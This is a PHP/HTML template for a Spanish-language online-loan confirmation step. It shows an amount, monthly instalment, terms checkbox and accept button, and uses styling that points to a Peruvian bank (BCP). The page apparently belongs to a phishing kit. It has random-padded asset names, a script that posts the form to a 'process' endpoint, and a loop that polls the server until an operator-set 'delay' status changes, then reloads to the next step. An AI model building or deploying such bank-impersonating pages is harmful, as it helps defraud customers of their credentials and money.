<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en línea</title>
    <style>
        #form1 {

            height: 100%;

        }
    </style>
</head>

<body>
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 azul hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p
                    style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c019">
            <div class="max2 margin-auto">
                <div class="c0191">
                    <img height="25" src="public/paso2.8937458345/logoblanco.8783745345.svg">
                </div>
            </div>

        </div>
        <div style="height: 60px;">&nbsp;</div>
        <div class="c026">
            <div class="mb-50 textcenter">
                
                <img src="public/paso4.89334/pasoconfirmacion.873234.png">
            </div>
            <div class="mb-30 textcenter">
                <p style="font-size: 1.4rem;" class="text6">
                    Confirmación del préstamo
                </p>
            </div>
            <div class="mb-20 textcenter">
                <p style="font-size: 2rem;" class="text6">
                    S/ <?php echo $g_monto; ?>
                </p>
            </div>
            <div class="mb-20 textcenter">
                <p style="font-size: 1.2rem;" class="text7">
                    Monto a recibir
                </p>
            </div>
            <div class="mb-20">

                <div class="c030">
                    
                    <div class="c028 mb-30">
                        <div style="font-size: .95rem;">Cuota mensual</div>
                        <div class="textright bold">S/ <?php echo $g_cuota; ?></div>

                        <div style="font-size: .95rem;">Número de cuotas</div>
                        <div class="textright"><?php echo $g_meses; ?></div>

                        <div style="font-size: .95rem;">Pago total</div>
                        <div class="textright">S/ <?php echo $g_total; ?></div>
                    </div>
                    <div>
                        <hr class="hr1" >
                    </div>
                    <div style="height: 30px;"></div>
                    
                    <div class="mb-50 textcenter">
                        <div class="check1">
                            <input style="height: 10px;" type="checkbox" name="declaracion" id="declaracion" >
                            <div class="check1-c001">
                                <img height="20" src="public/checkmarkwhite.png" >
                            </div>
                            <div class="check1-c003 textleft">
                                <label for="declaracion">Declaro estar de acuerdo con los términos y condiciones</label>
                            </div>
                            <div class="check1-c002">
                                Debe aceptar los términos y condiciones
                            </div>
                        </div>
                    </div>
                    <div class="mb-5 textcenter">
                        <button id="btn1" style="min-height: 35px;" type="button"
                            class="btn1">
                            <span>Acepto el préstamo</span>
                            <img height="30" src="public/gif1.gif">
                        </button>
                    </div>
                    
                </div>

            </div>
            
            <div style="height: 50px;"></div>
        </div>
    </form>
    <script src="public/scripts.js"></script>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var modalloader1 = document.getElementById("modalloader1")
        var form = document.getElementById("form1")
        var btn = document.getElementById("btn1")

        var declaracion = form.querySelector("input[name=declaracion]")


        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }

        sub = async function () {

            let ss = form.querySelector("input[name=declaracion]:checked")
            if(ss == null || ss == undefined){

                declaracion.closest(".check1").classList.add("error")

                return
            }
            declaracion.closest(".check1").classList.remove("error")



            btn.classList.add("processing")
            //show(modalloader1)

            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion","confirmacion")
            let envio = await fetch(url,{
                method:"post",
                body:fd
            })

            let raw = await envio.text()

            if(!envio.ok){
                location.reload()
                return
            }

            window.setTimeout(checkstatus,3000)

        }

        init = function () {

            btn.addEventListener("click", sub)
            
            

        }

        window.addEventListener("load", init)

    </script>
</body>

</html>